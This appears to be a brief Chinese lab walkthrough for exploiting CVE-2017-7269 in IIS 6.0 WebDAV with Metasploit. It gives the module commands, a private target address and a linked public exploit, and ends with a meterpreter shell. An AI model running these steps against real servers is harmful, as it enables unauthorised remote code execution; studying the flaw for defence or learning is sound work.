利用CVE-2017-7269让IIS向自己的msf反弹一个shell

漏洞编号:CVE2017-7269
服务器版本:Windows server 2003
中间件:IIS6.0
攻击工具:metasploit
POC:CVE2017-7269.rb

exp:https://github.com/zcgonvh/cve-2017-7269

1. 确认目标是IIS并且开启webdav

CVE-2017-7269(IIS远程代码执行)

2.打开msf,使用exp

msfconsole
 use exploit/windows/iis/cve-2017-7269 

CVE-2017-7269(IIS远程代码执行)

set rhost 192.168.91.129

CVE-2017-7269(IIS远程代码执行)

show options

CVE-2017-7269(IIS远程代码执行)

run

CVE-2017-7269(IIS远程代码执行)

获得一个meterpreter
CVE-2017-7269(IIS远程代码执行)

相关文章:

  • 2021-06-08
  • 2021-11-01
  • 2022-02-17
  • 2021-06-17
  • 2022-12-23
  • 2021-07-13
  • 2022-12-23
  • 2023-01-11
猜你喜欢
  • 2021-09-09
  • 2021-06-08
  • 2019-05-20
  • 2021-10-23
  • 2022-01-03
  • 2022-03-04
  • 2021-06-29
相关资源
相似解决方案